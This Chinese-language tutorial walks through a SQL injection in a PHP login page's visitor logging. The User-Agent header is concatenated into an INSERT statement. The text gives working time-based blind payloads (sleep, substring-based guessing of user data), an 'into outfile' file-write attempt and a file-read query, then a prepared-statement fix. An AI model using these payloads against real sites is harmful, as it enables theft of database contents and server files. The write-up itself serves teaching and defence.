原理很簡單:后台在接收UA時沒有對UA做過濾,也沒有PDO進行數據交互(實際PDO是非常有必要的),導致UA中有惡意代碼,最終在數據庫中執行。
Bug 代碼:
本地順手打了一個環境,Bug 代碼部分:
// 保存到訪者的IP信息
$db=DBConnect();
$tbLog=$db->tbPrefix.'log'; $executeArr=array('ip'=>($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:$_SERVER["REMOTE_ADDR"],'ua'=>$_SERVER['HTTP_USER_AGENT'],'visit_time'=>date('Y-m-d H:i:s'));
$db->AutoExecute($tbLog,$executeArr);
$smarty=InitSmarty();
$smarty->assign('do',$do);
$smarty->assign('show',$show);
$smarty->assign('url',$url);
$smarty->display('login.html');
其中 AutoExecute() 方法 代碼如下:
public function AutoExecute($table,$array=array(),$type='INSERT',$where=''){
if(!empty($array) && !empty($table)){
switch(strtoupper($type)){
case 'INSERT':
$sql="INSERT INTO {$table}(".implode(',',array_keys($array)).") VALUES('".implode("','",array_values($array))."')";
echo $sql;
break;
default:break;
}
return $this->Execute($sql);
}
else{
return false;
}
}
可以看出 ip,ua 這個變量未經過任何過濾 以 SQL 拼接的方式插入到數據庫中。
SQLMap 初探:
因為是 HTTP Header 注入,所以決定簡單粗暴的使用 -r 參數測試有無注入。
用burp 代理截包保存成 req.txt ,內容如下:
GET /index.php?do=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
Connection: keep-alive
使用 sqlmap.py -r req.txt --level 3 沒跑出來,姿勢不對??? 決定用自己的雙手實現自己的夢想啦~~
手動注入測試:
使用burp 的repeater 模塊,修改User-Agent:
GET /index.php?do=login HTTP/1.1
Host: localhost
User-Agent: Anka9080',(select(sleep(5))))#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
Connection: keep-alive
結果真會發現等待了5s才收到網站的返回信息,延時注入測試成功~~
該請求發送后,實際執行的SQL語句 如下:
1 INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select(sleep(5))))#','2016-05-26 20:15:41')
進一步分析這條SQL語句:
Select(sleep(5)) 返回的是 0 ,在外層加上一對括號,相當於單引號(‘’),還有一個右括號) 用來閉合 VALUES 的 左括號,類似於字符型插入,后面的 # 是注釋符,會把原本的時間等數據給注釋掉,保證了這是一條可執行的SQL語句。
猜數據,讀文件:
預先在數據庫中創建了表 user(user,pass) 存在一個條目 admin,admin666
通過sleep判斷基於時間的延時注射,下面手工構造用戶名並根據相應時間來判斷是否存在這個用戶(在 UA 位置執行整條SQL 來判斷):
把 UA 的值改成如下:
User-Agent: Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#
執行的SQL是
INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#','2016-05-26 21:04:49')
若user 表 中存在以a 開頭的數據,則會延遲5秒返回頁面,
當然一般要先對用戶表user 做 fuzzing, 這個把 where 條件去掉就可以了。
同理 使用 substring(user,1,n) 來判斷第n個字符是什么,繼而得到了完整的字段的值。
已經能讀出數據了,嘗試下讀寫文件,理論上有權限就可以。
把user 表的內容讀出來並寫入到服務器文件中:
INSERT INTO log(ip,ua,dt) VALUES('127.0.0.1','Anka9080',(select * from user into outfile '盤/絕對路徑/1.txt'))#','2016-05-26 21:30:04'
不知為何沒有執行成功 在 SQL 查詢器里單獨執行
select * from user into outfile '盤/絕對路徑/1.txt'
是可以的...
如果注入點是有輸出的位置,則
利用Id = 1 union select 1, loadfile(‘盤/絕對路徑/1.txt’) from message 來讀取文件內容到頁面顯示
此外,其他 HTTP Header 的注入與 User-Agent 的注入是一樣道理的。
至於防御SQL注入,預編譯吧,簡單可靠,不需要做任何的過濾,做到了“數據和代碼的分離
<?php $link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db'); $stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)"); $stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s")); $stmt->execute(); ?>
參考文章:http://www.freebuf.com/articles/web/105124.html
